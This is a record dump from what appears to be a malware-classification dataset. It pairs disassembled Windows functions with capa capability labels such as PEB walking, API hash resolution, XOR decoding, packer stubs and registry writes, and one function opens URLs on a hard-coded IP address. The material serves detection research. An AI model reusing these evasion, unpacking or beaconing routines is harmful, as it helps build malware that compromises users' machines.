joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42a75b
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 4], ebx
jbe 0x42a797
xor eax, eax
mov dword [ebp - 4], eax
mov esi, dword [edi + 8]
add esi, eax
lea ecx, [esi + 0x20]
call fcn.004244ae
mov ecx, esi
call fcn.00429571
mov eax, dword [ebp - 4]
inc ebx
add eax, 0x88
mov dword [ebp - 4], eax
cmp ebx, dword [edi + 4]
jb 0x42a772
push dword [edi + 8]
mov eax, dword fs:[0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
and dword [edi + 8], 0
mov esi, dword [edi + 0xc]
test esi, esi
je 0x42a7c4
mov ecx, esi
call fcn.0042a75b
mov ecx, esi
call fcn.0041c1b6
and dword [edi + 0xc], 0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42b69b
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x45e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x24], 0x18
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ebx
push eax
push 4
push ebx
push ebx
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], ebx
push eax
push 0x2001f
lea eax, [ebp - 8]
mov dword [ebp - 0x18], 0x40
push eax
mov edi, ecx
mov dword [ebp - 0x1c], 0x4019f4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ntdll.dll_NtCreateKey]
mov esi, eax
test esi, esi
jns 0x42b706
mov dword [ebp - 0x2c], 0x5d
mov dword [ebp - 0x28], 0x407960
jmp 0x42b72e
push 0x10
push edi
push 3
push ebx
push 0x401a04
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtSetValueKey]
mov esi, eax
test esi, esi
jns 0x42b75f
mov dword [ebp - 0x2c], 0x66
mov dword [ebp - 0x28], 0x407a48
push esi
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], 0x4078f0
mov dword [ebp - 0x30], 0x407924
call fcn.00456190
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x42b75b
cmp ecx, 0xffffffff
je 0x42b75b
push ecx
mov dword [ebp - 8], ebx
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, esi
jmp 0x42b777
mov eax, dword [ebp - 8]
test eax, eax
je 0x42b775
cmp eax, 0xffffffff
je 0x42b775
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ntdll.dll_NtClose]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045d72e
leave
ret
Function at 0x42bf63
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, 0x7ffe0030
mov ecx, esi
push edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42bf77
sub ecx, edx
mov dword [ebp - 4], esi
sar ecx, 1
lea esi, [ebp - 0xc]
lea eax, [ecx + ecx]
mov dword [ebp - 0xc], eax
add eax, 2
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
leave
ret 4

Function at 0x44d11f
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x45e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x5c], ecx
push esi
push edi
lea edi, [ebp - 0x18]
mov dword [ebp - 0x48], 0x18
stosd dword es:[edi], eax
xor edx, edx
mov dword [ebp - 0x1c], edx
mov bl, dl
mov dword [ebp - 0x20], edx
mov byte [ecx], dl
stosd dword es:[edi], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x38], edx
stosd dword es:[edi], eax
mov dword [ebp - 0x34], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x401ee0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x401ee4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x401ee8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x401eec]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x48]
push eax
push 0x20019
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntdll.dll_NtOpenKey]
mov esi, eax
mov edi, 0xc0000034
cmp esi, edi
je 0x44d1d4
test esi, esi
jns 0x44d1b5
mov dword [ebp - 0x50], 0x2e
jmp 0x44d1e3
lea eax, [ebp - 0x20]
push eax
push 0x14
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
mov esi, eax
cmp esi, edi
jne 0x44d1d8
xor esi, esi
jmp 0x44d201
test esi, esi
jns 0x44d21c
mov dword [ebp - 0x50], 0x3c
push esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], 0x412b50
mov dword [ebp - 0x54], 0x412b84
mov dword [ebp - 0x4c], 0x408038
call fcn.00456190
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x44d218
cmp ecx, 0xffffffff
je 0x44d218
and dword [ebp - 0x1c], 0
push ecx
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, esi
jmp 0x44d24d
cmp dword [ebp - 0x14], 4
je 0x44d228
cmp dword [ebp - 0x10], 4
jne 0x44d22f
cmp dword [ebp - 0xc], 0
setne bl
mov eax, dword [ebp - 0x5c]
mov byte [eax], bl
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x44d24b
cmp eax, 0xffffffff
je 0x44d24b
and dword [ebp - 0x1c], 0
push eax
call dword [sym.imp.ntdll.dll_NtClose]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045d72e
leave
ret
Function at 0x44ff2e
Capabilities:
Parse credit card information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
xor ecx, ecx
push esi
push edi
mov edi, edx
mov dword [ebp - 8], ecx
mov eax, dword [ebx + 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x10]
mov dword [edi + 8], ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x14]
mov dword [edi + 4], eax
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], ecx
mov eax, dword [ebx + 0x10]
cmp dword [ebx + 0x14], eax
jb 0x44ff78
mov dword [edi + 4], eax
mov dword [edi], 3
xor eax, eax
jmp 0x45001c
mov esi, dword [ebx + 0x18]
mov ecx, esi
call dword [0x460240]
mov ecx, dword [ebp - 4]
jmp 0x450007
cmp ecx, 0x61
jb 0x44ff92
cmp ecx, 0x7a
jbe 0x44fff3
lea eax, [ecx - 0x41]
cmp eax, 0x19
jbe 0x44fff3
lea eax, [ecx - 0x30]
cmp eax, 9
jbe 0x44fff3
cmp ecx, 0x2f
ja 0x44ffd5
cmp ecx, 0x28
jae 0x44fff3
cmp ecx, 0xa
je 0x44fff3
cmp ecx, 0xd
je 0x44fff3
cmp ecx, 0x1f
jbe 0x450021
cmp ecx, 0x21
jbe 0x44fff3
cmp ecx, 0x22
jbe 0x450021
cmp ecx, 0x25
jbe 0x44fff3
cmp ecx, 0x27
jne 0x450021
cmp dword [ebx + 0x24], 0xa
jmp 0x44fff1
cmp ecx, 0x3a
jb 0x450021
cmp ecx, 0x3b
jbe 0x44fff3
cmp ecx, 0x3d
je 0x44fff3
cmp ecx, 0x3e
jbe 0x450021
cmp ecx, 0x40
jbe 0x44fff3
cmp ecx, 0x5f
jne 0x450021
mov esi, dword [ebx + 0x18]
mov ecx, esi
inc dword [ebp - 8]
mov dword [ebp - 4], edx
call dword [0x460240]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call esi
mov ecx, eax
mov dword [ebp - 0x10], edx
cmp ecx, 0xffffffff
jne 0x44ff88
mov eax, edx
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 4]
mov dword [edi], 0xc
sub eax, dword [ebx + 0x14]
mov dword [edi + 8], eax
mov eax, dword [ebp - 8]
mov dword [edi + 0x10], eax
jmp 0x44ff71
Function at 0x45686d
Capabilities:
Encode data using base64

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x45e040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ecx]
xor eax, eax
push esi
mov esi, dword [ecx + 8]
add ebx, esi
push edi
mov edi, edx
mov dword [ebp - 0x20c], eax
lea edx, [ebp - 0x208]
mov dword [ebp - 0x214], edi
xor ecx, ecx
mov dword [ebp - 0x21c], 0x200
mov dword [ebp - 0x220], ecx
mov eax, edx
mov dword [ebp - 0x218], eax
cmp esi, ebx
jae 0x456a43
lea eax, [ebp - 8]
mov dword [ebp - 0x224], esi
sub eax, edx
and eax, 0xfffffffe
cmp eax, 8
jl 0x4569db
mov al, byte [esi]
inc esi
mov byte [ebp - 0x20d], cl
mov byte [ebp - 0x20e], cl
mov byte [ebp - 0x20f], al
cmp esi, ebx
je 0x456903
mov al, byte [esi]
mov byte [ebp - 0x20d], al
mov eax, ecx
push 2
pop ecx
jmp 0x456909
push 0x3d
xor ecx, ecx
pop eax
inc ecx
mov esi, dword [ebp - 0x224]
add esi, ecx
mov word [edx + 4], ax
cmp esi, ebx
je 0x456926
mov al, byte [esi]
inc esi
mov byte [ebp - 0x20e], al
xor eax, eax
jmp 0x456929
push 0x3d
pop eax
movzx ecx, byte [ebp - 0x20f]
movzx edi, byte [ebp - 0x20d]
mov word [edx + 6], ax
mov eax, ecx
shr eax, 2
and ecx, 3
shl ecx, 4
movzx eax, byte [eax + 0x4150a0]
mov word [edx], ax
mov eax, edi
shr eax, 4
or eax, ecx
movzx ecx, byte [ebp - 0x20e]
movzx eax, byte [eax + 0x4150a0]
mov word [edx + 2], ax
xor eax, eax
cmp word [edx + 4], ax
jne 0x45698b
and edi, 0xf
mov eax, ecx
shr eax, 6
shl edi, 2
or edi, eax
movzx eax, byte [edi + 0x4150a0]
mov word [edx + 4], ax
xor eax, eax
cmp word [edx + 6], ax
jne 0x45699f
and ecx, 0x3f
movzx eax, byte [ecx + 0x4150a0]
mov word [edx + 6], ax
mov edi, dword [ebp - 0x214]
lea eax, [ebp - 8]
add edx, 8
cmp edx, eax
jne 0x4569d0
push edi
push ecx
lea edx, [ebp - 0x220]
mov dword [ebp - 0x220], 0x200
call fcn.004589dc
test eax, eax
js 0x456a49
lea edx, [ebp - 0x208]
cmp esi, ebx
jae 0x4569db
xor ecx, ecx
jmp 0x4568c4
lea eax, [ebp - 0x208]
cmp edx, eax
je 0x456a43
sub edx, eax
mov dword [ebp - 0x220], edx
cmp edx, dword [ebp - 0x21c]
jbe 0x456a32
mov esi, 0xc000042b
mov dword [ebp - 0x234], 0x4148bc
push esi
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x230], 0x414bd0
mov dword [ebp - 0x22c], 0x4f5
mov dword [ebp - 0x228], 0x414be8
call fcn.00456190
mov eax, esi
jmp 0x456a49
push edi
push ecx
lea edx, [ebp - 0x220]
call fcn.004589dc
test eax, eax
js 0x456a49
mov eax, dword [ebp - 0x20c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045d72e
leave
ret
Function at 0x45ce55
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x45e040]
xor eax, esp
mov dword [esp + 0x48], eax
mov eax, dword [0x45e538]
push ebx
push esi
push edi
xor edi, edi
mov esi, edx
mov ebx, ecx
test eax, eax
jne 0x45cec1
lea edi, [esp + 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x28]
push eax
call fcn.0045d2d9
xor edi, edi
cmp dword [esp + 0x28], edi
je 0x45ceb3
push 0x10
push edi
push dword [esp + 0x38]
call dword [sym.imp.ntdll.dll_wcstoul]
and eax, 0xfffe
add esp, 0xc
or eax, 1
mov dword [0x45e538], eax
lea ecx, [esp + 0x28]
call fcn.0041c2cb
mov eax, dword [0x45e538]
or dword [ebx + 8], eax
lea eax, [esp + 0x34]
push esi
push eax
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
call dword [sym.imp.ntdll.dll_RtlCreateUnicodeStringFromAsciiz]
test al, al
je 0x45cfb3
lea eax, [esp + 0x28]
mov dword [esp + 0x28], edi
push eax
lea edx, [esp + 0x38]
mov dword [esp + 0x30], edi
mov esi, edi
call fcn.0045d3c2
cmp word [esp + 0x28], 0
je 0x45cf17
push 0x10
push edi
push dword [esp + 0x34]
call dword [sym.imp.ntdll.dll_wcstoul]
add esp, 0xc
mov esi, eax
jmp 0x45cfa7
lea eax, [esp + 0xc]
mov dword [esp + 0x24], edi
push eax
push 0x101
lea eax, [esp + 0x2c]
mov dword [esp + 0x14], 0x18
push eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], 0x40
mov dword [esp + 0x20], 0x402718
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
call dword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
jne 0x45cf8f
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], edi
push eax
push 0x14
lea eax, [esp + 0x48]
push eax
push 2
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x38]
call dword [sym.imp.ntdll.dll_NtQueryValueKey]
test eax, eax
js 0x45cf8f
cmp dword [esp + 0x44], 4
jne 0x45cf8f
cmp dword [esp + 0x48], 4
jne 0x45cf8f
mov esi, dword [esp + 0x4c]
mov eax, dword [esp + 0x24]
test eax, eax
je 0x45cfa7
cmp eax, 0xffffffff
je 0x45cfa7
push eax
mov dword [esp + 0x28], edi
call dword [sym.imp.ntdll.dll_NtClose]
or dword [ebx + 8], esi
lea ecx, [esp + 0x28]
call fcn.0041d00c
lea ecx, [esp + 0x34]
call fcn.0041d00c
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0045d72e
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
movzx eax, byte [ebp + 8]
cmp eax, 1
jne 0x401029
push str.http:__91.202.233.141_WINLASTFIX
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
jmp 0x40103e
push str.http:__91.202.233.141_HKLMINSTOK
lea edx, [ebp - 0x3f0]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401094
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x3f0]
push eax
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x4010b0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._sTpregnant.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401103
xor al, al
jmp 0x40113d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40113b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x40154b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push esi
mov esi, dword [0x46f1a8]
xor ebx, ebx
push edi
mov dword [esp + 0x10], edx
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov dword [esp + 0x18], eax
mov edi, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add edi, esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x4015bb
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
add eax, esi
push eax
call fcn.004017a5
lea ecx, [esp + 0x1c]
call fcn.00401317
cmp eax, dword [esp + 0x10]
je 0x4015d2
lea ecx, [esp + 0x1c]
add edi, 4
call fcn.00401782
inc ebx
cmp ebx, dword [esp + 0x14]
jb 0x40158b
xor edi, edi
mov ecx, dword [esp + 0x34]
lea eax, [esi + edi]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401add
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x18]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x1c]
call fcn.00401782
jmp 0x4015bd

Function at 0x401659
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
sub cx, 0x1f9
mul edi
dec cx
mul di
mul ebx
sub ax, 0x22b
or edi, ebx
shr cx, 2
rcl eax, 0x6e
rol ax, 0x19
rcl cx, 0xcb
mul si
mov si, 0x1b0
rcr esi, 0xed
inc si
dec dx
movsx ebx, si
movsx ecx, si
rcl cx, 0x33
mov edx, esi
shr ax, 0xb9
dec cx
ja 0x4016b3
test edx, 0x43
ja 0x4016d4
dec bx
imul eax
jmp 0x4016c3
rol bx, 0x64
sub di, cx
ror esi, 0x18
ror ecx, 0xef
movsx ebx, bx
rcl eax, 0x5b
mul esi
jae 0x4016d4
inc ax
movsx ecx, si
rcr ebx, 0x8e
jmp 0x4016ef
and ecx, 0x33b
ror edx, 0x56
rcr di, 0xc6
or esi, 0x389
movzx edi, ax
movsx edi, si
imul edx
mul cx
ror ax, 0x4e
sub ebx, 0xb9
rcl cx, 0x60
jb 0x40170e
imul si
mul eax
inc esi
xor bx, dx
inc ebx
jmp 0x401720
mul eax
add eax, edi
mov ax, 0x2a4
mul ebx
ror edi, 0xfc
xor di, 0xdb
movsx ecx, di
dec bx
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x46f1a8], eax
push 0x27
mov esi, 0x46e130
mov edx, 0x547
push 0x41b900
mov ecx, esi
call fcn.00401112
pop ecx
pop ecx
mov edx, 0x8aafdc01
call fcn.0040154b
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push esi
call eax
pop edi
pop esi
pop ebx
test eax, eax
je 0x40177c
call fcn.004015f4
xor eax, eax
leave
ret 0x10

Function at 0x40238b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4023ca
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4023ca
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4023ca
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4023ca
cmp dword [ecx + 0x74], 0xe
jbe 0x4023ca
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x412fc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412fed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412fed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401034
Capabilities:
Get common file path
Get disk information

Disassembly:
push edi
sub esp, 0x200
mov edi, esp
push 0x7c
push edi
call sub.KERNEL32.dll_GetSystemDirectoryA
lea ecx, [edi + 0x7c]
xor edx, edx
push edx
push edx
push edx
push ecx
push edx
push edi
add edi, eax
mov eax, 0x69636d5c
stosd dword es:[edi], eax
mov eax, 0x337a7471
stosd dword es:[edi], eax
mov eax, 0x6c642e32
stosd dword es:[edi], eax
mov eax, 0x6c
stosd dword es:[edi], eax
call sub.KERNEL32.dll_FindFirstFileExA
add esp, 0x200
pop edi
cmp eax, 0
jg 0x40107c
ret
pushal
jmp fcn.004012f0

Function at 0x401470
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
lea edi, [ecx + 0x9c]
push esi
mov ecx, esp
push ecx
mov eax, 0x2b
push eax
add dword [esp], 0x15
push 0xfffffe70
add dword [esp], 0xaec
mov esi, section..data
push esi
xor ecx, ecx
add ecx, sym.imp.KERNEL32.dll_VirtualProtect
call dword [ecx]
pop ebx
mov esi, 0x403400
mov dword [edi + 0x48], esi
lea edx, [esi - 0x161]
push 0x4020f9
pop ecx
xor eax, eax
mov ebx, dword [ecx]
add ecx, 3
inc ecx
mov dword [edx + 0x161], ebx
add edx, 4
xor dword [edx + 0x15d], 0xa6907e21
sub dword [edx + 0x15d], 0x4eac6723
add eax, 4
cmp eax, 0x55c
jne 0x4014ba
push 0
call sub.KERNEL32.dll_ResetEvent
pop ebp
ret 8

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x20402e5b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x25cd4d1f
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x413160
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x413324
pushal
mov esi, 0x394e000
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x41318a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x413191
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x413180
mov eax, 1
add ebx, ebx
jne 0x4131a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x413198
jne 0x4131b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x413198
xor ecx, ecx
sub eax, 3
jb 0x4131c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41323a
mov ebp, eax
add ebx, ebx
jne 0x4131d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4131e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x413204
inc ecx
add ebx, ebx
jne 0x4131f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4131e5
jne 0x413201
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4131e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x413224
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x413215
jmp 0x413186
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x413224
add edi, ecx
jmp 0x413186
pop esi
mov edi, esi
mov ecx, 0x445
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x413242
cmp byte [edi], 1
jne 0x413242
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x413247
lea edi, [esi + 0x11000]
mov eax, dword [edi]
or eax, eax
je 0x4132b6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x130b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x413274
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x130bc]
or eax, eax
je 0x4132b0
mov dword [ebx], eax
add ebx, 4
jmp 0x413291
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4132e7
cmp al, 0xef
ja 0x4132da
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4132bc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4132c9
mov ebp, dword [esi + 0x130c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41331b
sub esp, 0xffffff80
jmp 0x409304
Function at 0x10001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x20]
mov dl, 0x6e
xor ebx, ebx
push eax
push ecx
mov dword [esi], 0x100151d0
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], bl
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], bl
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.WINMM.dll
mov edi, eax
call ebp
push ebx
push ebx
push ebx
push ebx
mov dword [0x1001a608], eax
call edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0x24], eax
call edi
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 4], 0x3e8
mov byte [esi + 0x44], bl
mov byte [esi + 0x45], bl
lea edi, [esi + 0x30]
mov ebp, 2
mov edx, dword [esi + 4]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
mov dword [edi - 0x28], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [edi], eax
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 0x20
